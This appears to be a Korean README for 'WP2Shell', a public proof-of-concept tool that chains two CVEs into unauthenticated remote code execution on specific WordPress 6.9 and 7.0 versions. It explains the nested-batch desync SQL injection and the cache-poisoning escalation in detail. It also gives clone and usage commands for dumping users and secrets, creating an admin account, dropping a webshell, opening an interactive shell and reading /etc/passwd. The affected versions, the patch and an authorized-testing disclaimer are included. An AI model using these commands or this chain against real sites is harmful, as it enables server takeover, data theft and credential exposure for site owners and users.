
CVE-2026-63030 + CVE-2026-60137용 PoC, 일명 WP2Shell
WordPress 6.9.0–6.9.4 및 7.0.0–7.0.1에 대한 인증 전 원격 코드 실행입니다.
CVE-2026-63030(배치 경로 혼동 SQLi)을 CVE-2026-60137(커스터마이저 체인지셋 재진입)과 연결하여 인증 없는 관리자 생성 및 OS 명령 실행을 달성합니다. 비밀번호 크래킹이 필요 없습니다.

이 발견은 hashkitten의 공로입니다. 전체 SLCyber 기술 분석은 여기에서 읽을 수 있습니다.
WordPress의 REST API 배치 프로세서(serve_batch_request_v1)에는 off-by-one 인덱싱 버그가 있습니다: wp_parse_url()이 하위 요청 경로에서 실패하면 결과로 생성된 WP_Error가 $validation[]에는 푸시되지만 $matches[]에는 푸시되지 않습니다. 이로 인해 두 배열의 동기화가 깨지며, 이후의 모든 요청이 잘못된 핸들러로 디스패치됩니다.
신중하게 구조화된 배치를 다른 배치 안에 중첩시킴으로써 공격자는 다음을 수행할 수 있습니다:
author__not_in을 통해 검증되지 않은 SQL 주입 (string→array 캐스트가 absint()를 건너뜀)UNION SELECT를 사용해 가짜 포스트 객체로 WordPress 객체 캐시를 오염설정이 완료되면(테이블 접두사 및 관리자 ID 발견) 에스컬레이션 페이로드가 단일 HTTP 요청으로 발사됩니다. 캐시 오염, 권한 상승, 사용자 생성이 모두 서버 측에서 한 번의 왕복으로 발생합니다.
HTTP POST /batch/v1
│
▼
┌─ Outer Batch ───────────────────────────────────────────────────────┐
│ │
│ [0] /// → parse error, not added to $matches │
│ [1] POST /wp/v2/posts → $matches[0] (posts handler) │
│ [2] POST /batch/v1 → $matches[1] (batch handler) │
│ │
│ Desync: request[1] dispatched via $matches[1] │
│ POST /wp/v2/posts body interpreted as batch → inner fires │
│ │
└──────────────────────────────────────┬──────────────────────────────┘
│
┌──────────────────────────────────┘
▼
┌─ Inner Batch ───────────────────────────────────────────────────────┐
│ │
│ [0] /// → parse error (desync) │
│ [1] GET /wp/v2/widgets?UNION... → dispatched by posts handler │
│ ▲ WP_Query fires UNION, poisons object cache │
│ ▲ the_content renders [embed] → oEmbed → hierarchy Loop 1 │
│ → changeset published → admin context set │
│ → nav_menu_item UPDATE → hierarchy Loop 2 │
│ → parse_request → REST re-entry ─────────────┐ │
│ │ │
│ [2] GET /wp/v2/posts (categories handler) │ │
│ [3] GET /wp/v2/categories (users handler) │ │
│ [4] POST /wp/v2/users {body} ◄── re-entry with admin ──────┘ │
│ ▲ desync aligns this with users handler │
│ ▲ admin context → user created → die() │
│ [5] POST /wp/v2/users {} (desync spacer) │
│ │
└─────────────────────────────────────────────────────────────────────┘
캐시 오염 (UNION을 통한 가짜 포스트 7개):
[embed] 숏코드가 있는 트리거 포스트customize_changeset, 상태 future, 과거 날짜)is_nav_menu_item 검사를 위해 post_type=nav_menu_item으로 오염)post_type=request, post_status=parse, parent=inner)실행 흐름:
[embed] 숏코드 발동wp_update_post로 폴스루wp_update_post가 캐시된 체인지셋(parent=outer)을 읽음 → 계층 검사가 루프 1 감지future 상태로 DB에 기록 → 자동으로 publish로 변환_wp_customize_publish_changeset 발동 → wp_set_current_user(admin_id) → 관리자 컨텍스트 활성화nav_menu_item[real_id] 처리 — 캐시가 type=nav_menu_item으로 표시 → UPDATE 경로object_id가 post_parent=re-entry인 캐시된 포스트로 확인 → 실제 포스트에 대해 wp_update_post 실행$post_id)가 루프 2(re-entry ↔ inner) 감지wp_update_post(re-entry) 호출 → type=request, status=parse를 DB에 기록재귀 방지 MySQL 세션 변수(@_wp2s)는 체인이 정확히 한 번만 발동하고 반복되지 않도록 보장합니다.
--cleanup은 종료 시 생성된 사용자를 삭제하고 웹셸을 제거git clone https://github.com/Crypto-Cat/wp2shell.git
cd wp2shell
chmod +x wp2shell.py
pip install도 virtualenv도 필요 없습니다. 단일 파일입니다.
# Passive boolean oracle test
python3 wp2shell.py check http://target.com
# Also confirm with timing and UNION
python3 wp2shell.py check http://target.com --confirm-timing --confirm-union
# Auto-selects fastest technique (UNION > error > blind)
python3 wp2shell.py read http://target.com --preset users
python3 wp2shell.py read http://target.com --preset secrets
python3 wp2shell.py read http://target.com --query "SELECT @@version"
# Force a specific technique
python3 wp2shell.py read http://target.com --technique blind --preset users
# Auto-discover table prefix
python3 wp2shell.py read http://target.com --auto-prefix --preset users
# Exploit and drop into interactive shell
python3 wp2shell.py exploit http://target.com -i
# Exploit, run one command, clean up
python3 wp2shell.py exploit http://target.com -c "cat /etc/passwd" --cleanup
# Skip auto-discovery if you know the prefix
python3 wp2shell.py exploit http://target.com --prefix wp_ --no-discover -i
# Through a proxy (Burp, mitmproxy, etc.)
python3 wp2shell.py exploit http://target.com --proxy http://127.0.0.1:8080 -i
python3 wp2shell.py shell http://target.com --user admin --password 'P@ssw0rd' -i
check 및 read 명령은 영향받는 모든 대상에서 작동합니다. exploit 체인에는 세 가지 추가 요구 사항이 있습니다:
대상이 객체 캐시로 Redis 또는 Memcached를 사용하는 경우 per_page와 관계없이 split_the_query가 강제로 활성화되고, ID 전용 조회 중에 UNION 행이 폐기됩니다. read 명령은 여전히 작동하지만(블라인드 추출은 UNION이 캐시에 유지될 필요가 없음) exploit은 실패합니다.
| 브랜치 | 취약 버전 | 수정 버전 |
|---|---|---|
| 6.9.x | 6.9.0 – 6.9.4 | 6.9.5 |
| 7.0.x | 7.0.0 – 7.0.1 | 7.0.2 |
이 패치는 오류 케이스에 $matches[] = $single_request;를 추가하고(off-by-one 수정) serve_request()에 재진입 가드를 추가합니다.
wp2shell.py (single file, ~1650 lines)
├── Client HTTP transport with batch URL negotiation
├── Desync Nested batch payload construction
├── BlindExtractor Boolean binary search (universal)
├── UnionExtractor In-band via forged post_title (fastest)
├── ErrorExtractor EXTRACTVALUE-based (intermediate)
├── PoisonGraph Hierarchy loop structure for cache poisoning
├── Exploiter Chain orchestration (seed → extract → escalate)
└── AdminSession Authenticated session, webshell, cleanup
소스 경로로 /wp/v2/widgets를 사용하는 이유?
Widgets 컨트롤러는 엔드포인트 스키마에 per_page, orderby, author_exclude를 등록하지 않습니다. 이러한 매개변수는 검증을 그대로 통과합니다(알 수 없는 매개변수는 스키마 검증기가 무시합니다). 디싱크가 이 요청을 Posts 컨트롤러로 디스패치하면 이러한 원시 값들이 WP_Query로 직접 흘러 들어갑니다.
per_page=500을 사용하는 이유?
class-wp-query.php:3375 — split_the_query는 !empty($limits) && posts_per_page < 500을 요구합니다. per_page=500이면 500 < 500 조건이 거짓이 되므로 split_the_query가 비활성화됩니다. 전체 쿼리(UNION 포함)가 단일 문으로 실행되고, 주입된 모든 행이 결과 집합과 캐시에 유지됩니다.
nav_menu_item[real_id](양수 ID)를 사용하는 이유?
양수 포스트 ID를 사용하면 nav-menu.php:614의 UPDATE 경로로 진입하여 0이 아닌 $post_id로 wp_update_post를 호출합니다. 이는 post.php:8070의 wp_check_post_hierarchy_for_loops가 $post_id = 0(새 포스트)일 때 조기 반환하기 때문에 중요합니다. 해당 ID에 대해 캐시가 post_type=nav_menu_item으로 오염되어 is_nav_menu_item()이 nav-menu.php:426의 타입 검사를 통과합니다. 그런 다음 UPDATE 경로가 루프 2를 감지하는 계층 검사를 트리거합니다.
계층 루프가 두 개인 이유?
루프 1(체인지셋 ↔ outer)은 체인지셋 게시를 트리거하고 관리자 컨텍스트를 설정합니다. 루프 2(re-entry ↔ inner)는 관리자 창 동안(체인지셋 게시 루프에서 내비게이션 메뉴 항목 설정의 save() 호출 내부) 발동하여 parse_request → REST 재진입을 트리거합니다. 루프 2의 픽스업이 3581행의 관리자 창 동안 재진입 포스트를 DB에 기록해야 하며 3589행의 리셋 이전이어야 하므로 두 루프는 독립적입니다.
이 도구는 승인된 보안 테스트 및 연구 목적으로 배포됩니다. 소유한 시스템 또는 명시적인 서면 승인을 받은 시스템에만 사용하십시오. 컴퓨터 시스템에 대한 무단 접근은 불법입니다.
CryptoCat의 연구 및 개발.
wp_transition_post_status가 do_action("parse_request") 발동 → rest_api_loaded() → serve_request()POST /wp/v2/users 성공 → 관리자 생성 → die()| 요구 사항 | 이유 | 기본 WP? |
|---|
| 게시된 포스트가 하나 이상 | oEmbed가 임베드 처리를 트리거하려면 로컬 URL이 필요합니다 | 예 (Hello World) |
| 영구 객체 캐시 없음 | UNION 행이 유지되려면 split-the-query가 비활성화되어야 합니다 | 예 (파일 캐시 기본값) |
| REST API 접근 가능 | parse_request를 통한 재진입에는 REST 서버가 필요합니다 | 예 |
| 직접 파일시스템 쓰기 | 플러그인 업로드에는 FS_METHOD=direct 또는 wp-content를 소유한 PHP가 필요합니다 | 예 (대부분의 호스트) |